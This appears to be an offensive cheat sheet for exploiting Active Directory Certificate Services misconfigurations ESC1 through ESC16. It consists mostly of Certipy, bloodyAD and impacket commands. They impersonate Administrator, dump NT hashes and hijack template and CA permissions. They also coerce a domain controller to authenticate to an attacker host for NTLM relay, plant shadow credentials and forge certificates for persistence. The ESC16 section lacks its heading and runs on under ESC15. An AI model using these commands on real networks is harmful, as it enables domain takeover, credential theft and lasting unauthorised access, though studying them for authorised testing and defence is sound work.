ADCS ESC1-16

Sections ADCS ESC1-16

Active Directory Certificate Services misconfigurations, ESC1 through ESC16. Certipy v5 covers detection and exploitation for almost all of them.

DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
CA='CORP-CA'
CA_HOST='ca.corp.local'

i. Enumerate

Certipy find shows everything: templates, CA config, vulnerabilities flagged per template:

certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout
## Just vulnerable ones, less noise:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout -vulnerable
## Hide admin permissions to reduce output:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout -hide-admins -vulnerable
## Save full output to JSON + TXT for reference:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC
## Output: YYYYMMDDHHMMSS_Certipy.json + _Certipy.txt + _Certipy.zip (BloodHound import)

Drop the zip into BloodHound, certipy adds ADCSESC1 through ADCSESC16 edges automatically.

ii. ESC1 - Enrollee supplies subject + Client Auth EKU

Template lets you specify the SAN, and the cert can be used to authenticate. Request a cert AS Administrator:

certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template VulnTemplate \
  -upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
## Output: administrator.pfx
## Use the cert to get Administrator's NT hash:
certipy auth -pfx administrator.pfx -dc-ip $DC
-sid is required post-CVE-2022-26923

The -sid flag attaches the szOID_NTDS_CA_SECURITY_EXT extension. Without it, post-patch DCs reject the cert. Get the target’s SID from nxc ldap $DC --get-sid or impacket-lookupsid.

iii. ESC2 - Any Purpose / SubCA template

The template has Any Purpose EKU (or no EKU = same effect). Same exploit as ESC1, just specify the target’s UPN:

certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template AnyPurposeTemplate \
  -upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC

iv. ESC3 - Enrollment Agent template

You can enroll for a cert that has Certificate Request Agent EKU. Then use that cert to enroll on behalf of another user.

## Step 1: Enroll as yourself for the EA cert
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template EnrollmentAgentTemplate
## Output: svc_user.pfx (EA cert)

## Step 2: Use the EA cert to request a cert AS Administrator
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template User \
  -pfx svc_user.pfx -on-behalf-of "$DOMAIN\\Administrator"
## Output: administrator.pfx

## Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC

v. ESC4 - Template WriteDacl (template ACL hijack)

You have write rights to the template object. Make it ESC1-vulnerable, then exploit as ESC1.

## Save current template config:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -save-old
## Overwrite to ESC1-vulnerable defaults:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -write-default-configuration
## Now exploit as ESC1:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template VulnTemplate \
  -upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC
## Restore template:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -configuration template.json

vi. ESC5 - Object owner / DACL on AD objects

A range of AD objects related to PKI (CA, NTAuthCertificates container, etc) have weak ACLs. Specific to the misconfig - sometimes leads to ESC4, sometimes lets you publish a malicious root CA.

## Identify which object via certipy find output
## Then chain via the appropriate primitive (template write -> ESC4, etc)

vii. ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 enabled on CA

Any cert template that allows authentication becomes vulnerable to SAN injection because the CA honors user-supplied SANs regardless of template setting.

## Any template with Client Auth + your enroll right is now ESC1-like
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template User \
  -upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC

viii. ESC7 - Vulnerable CA permissions (ManageCA / ManageCertificates)

You have ManageCA or ManageCertificates rights on the CA itself. Two paths:

ManageCA: enable ESC6, then ESC1

certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -enable-edit-flag EDITF_ATTRIBUTESUBJECTALTNAME2
## Now ESC6 applies, exploit as ESC1
## Restore when done:
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -disable-edit-flag EDITF_ATTRIBUTESUBJECTALTNAME2

ManageCA + add yourself as Officer, approve a pending request

certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -add-officer $USER
## Submit a request without enrollment right (it goes pending):
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template SubCA \
  -upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
## Note the request ID, then issue it:
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -issue-request $REQ_ID
## Retrieve the issued cert:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target $CA_HOST -ca $CA -retrieve $REQ_ID
certipy auth -pfx administrator.pfx -dc-ip $DC

ix. ESC8 - NTLM relay to HTTP cert enrollment

CA has Web Enrollment enabled and accepts NTLM. Coerce DC$ to authenticate, relay to /certsrv/, get a DC cert.

## Terminal 1: certipy in relay mode
certipy relay -target "http://$CA_HOST" -template DomainController
## or:
sudo impacket-ntlmrelayx -t "http://$CA_HOST/certsrv/certfnsh.asp" --adcs --template DomainController -smb2support

## Terminal 2: coerce DC to authenticate to attacker
impacket-petitpotam -d $DOMAIN -u $USER -p $PASS $ATTACKER $DC
## or:
coercer coerce -l $ATTACKER -t $DC -u $USER -p $PASS -d $DOMAIN

## After relay: certipy saves DC.pfx
certipy auth -pfx dc.pfx -dc-ip $DC
## Output: NT hash of DC$ -> DCSync, see [DCSync](https://jinpwn.dev/cheatsheets/active-directory/ad12-dcsync/)

ESC8 against HTTPS endpoint requires Channel Binding to be disabled, which is rare in 2026. HTTP endpoint is more common to be available.

x. ESC9 - No SID security extension (CVE-2022-26923)

Template has msPKI-Enrollment-Flag with NO_SECURITY_EXTENSION set. Without the SID extension, post-CVE-2022-26923 DCs map the cert based on UPN alone. Combine with WriteAccountUPN or GenericWrite on a target user.

## Step 1: Set victim's UPN to match Administrator (you need GenericWrite on victim)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'Administrator'
## Step 2: Request the cert as victim (without -sid since template has no security ext)
certipy req -u victim@$DOMAIN -p $VICTIM_PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template ESC9Template
## Step 3: Reset victim's UPN to avoid disrupting service
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'victim@corp.local'
## Step 4: Auth with the cert -> Administrator
certipy auth -pfx victim.pfx -dc-ip $DC -username administrator -domain $DOMAIN

xi. ESC10 - Weak certificate mapping

Registry CertificateMappingMethods allows UPN-only mapping (0x4) or weak explicit map (0x8). Same UPN-swap chain as ESC9.

xii. ESC11 - Relay to ICPR RPC (no encryption enforced)

Same chain as ESC8 but RPC endpoint instead of HTTP. Useful when web enrollment is disabled but ICPR is exposed.

## certipy relay supports RPC scheme:
certipy relay -target "rpc://$CA_HOST" -template DomainController
## Coerce as in ESC8

xiii. ESC12 - TPM-bound key validation bypass

Requires code execution on a CA with TPM-attached. Out of scope for standard pentest workflows - read the certipy wiki if you encounter this scenario.

xiv. ESC13 - Issuance Policy OID -> group

Template has an Issuance Policy OID that’s linked to a privileged group via msDS-OIDToGroupLink. Enrolling = automatic group membership in the linked group.

## Certipy find flags this with ESC13
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template ESC13Template
## When authenticating, you get the group membership baked into the PAC:
certipy auth -pfx user.pfx -dc-ip $DC
## You now have Admin group rights via the cert's policy OID

xv. ESC14 - Weak altSecurityIdentities

You can write altSecurityIdentities on a target user. Add a mapping that points to a cert you control, then authenticate with that cert as the victim.

## Step 1: Get a cert with a known issuer + serial
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target $CA_HOST -ca $CA -template User
## Step 2: Get the cert's issuer and serial (output of certipy includes them)
## Step 3: Map them to victim's altSecurityIdentities
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim altSecurityIdentities \
  -v 'X509:<I>CN=CORP-CA,DC=corp,DC=local<S>CN=svc_user'
## Step 4: Authenticate AS victim using your cert
certipy auth -pfx svc_user.pfx -dc-ip $DC -username victim -domain $DOMAIN
## Step 5: Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim altSecurityIdentities

xvi. ESC15 / EKUwu (CVE-2024-49019)

Template based on Schema V1 with “Supply in Request” lets you inject EKUs via Application Policies. Patched as CVE-2024-49019 in late 2024 - boxes built before the patch still vulnerable.

## Detection via certipy find -vulnerable
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
  -target $CA_HOST -ca $CA -template WebServer \
  -application-policies 'Client Authentication' \
  -upn Administrator@$DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $DC

CA has the SID extension disabled globally. All templates effectively act like ESC9. Same exploitation chain - UPN-swap a victim, request cert, swap back.

## Same chain as ESC9 (section x)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'Administrator'
certipy req -u victim@$DOMAIN -p $VICTIM_PASS -dc-ip $DC -target $CA_HOST -ca $CA -template User
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'victim@corp.local'
certipy auth -pfx victim.pfx -dc-ip $DC -username administrator -domain $DOMAIN

xviii. Shadow Credentials via cert

When you have GenericWrite on a user and AD CS is enabled, the shadow credentials attack uses the msDS-KeyCredentialLink attribute to associate a cert with the user. bloodyAD wraps the whole flow:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add shadowCredentials victim
## Output: victim.ccache (TGT) or victim.pfx (cert + key, if PKINIT fails)
export KRB5CCNAME=victim.ccache
## or:
certipy auth -pfx victim.pfx -dc-ip $DC
## Cleanup:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim

DC must be Server 2016+ for msDS-KeyCredentialLink schema.

xix. Certipy auth output options

## Standard auth, dump NT hash + save TGT:
certipy auth -pfx victim.pfx -dc-ip $DC
## When the cert has no UPN (e.g. machine account):
certipy auth -pfx machine.pfx -dc-ip $DC -username 'COMPUTER$' -domain $DOMAIN
## Save the resulting ccache and use it for impacket:
export KRB5CCNAME=$(pwd)/Administrator.ccache
impacket-psexec -k -no-pass dc.$DOMAIN
## Get the NT hash directly without saving ccache:
certipy auth -pfx victim.pfx -dc-ip $DC -no-save -print

xx. Forging certs (post-DA persistence)

Once you have the CA’s private key (via lsadump::ca on the CA host, or HSM extraction):

certipy forge -ca-pfx ca.pfx -upn Administrator@$DOMAIN -subject 'CN=Administrator'
certipy auth -pfx Administrator_forged.pfx -dc-ip $DC

Forged certs survive password changes and last as long as the CA cert. Common long-term persistence.

xxi. Quick reference

ESCTriggerExploit
ESC1Supply SAN + Client Authcertipy req -upn Administrator -sid SID
ESC2Any Purpose EKUsame as ESC1
ESC3Enrollment Agent EKUenroll EA cert, then -on-behalf-of
ESC4Template WriteDaclcertipy template -write-default-configuration -> ESC1
ESC5Object owner / weak DACL on PKI objchain to ESC4 or republish CA
ESC6CA flag EDITF_ATTRIBUTESUBJECTALTNAME2any auth template -> ESC1
ESC7ManageCA / ManageCertificatesenable ESC6 or approve pending request
ESC8HTTP cert enroll + NTLMcertipy relay + coerce
ESC9NO_SECURITY_EXTENSION on templateUPN swap with bloodyAD
ESC10Weak CertificateMappingMethodsUPN swap
ESC11ICPR RPC no encryptioncertipy relay rpc:// + coerce
ESC12TPM CA + executionrare, manual
ESC13Policy OID -> group linkcertipy req -> inherit group
ESC14Write altSecurityIdentitiesbloodyAD set + certipy auth
ESC15EKUwu Schema V1-application-policies
ESC16CA globally no-SID-extUPN swap on any auth template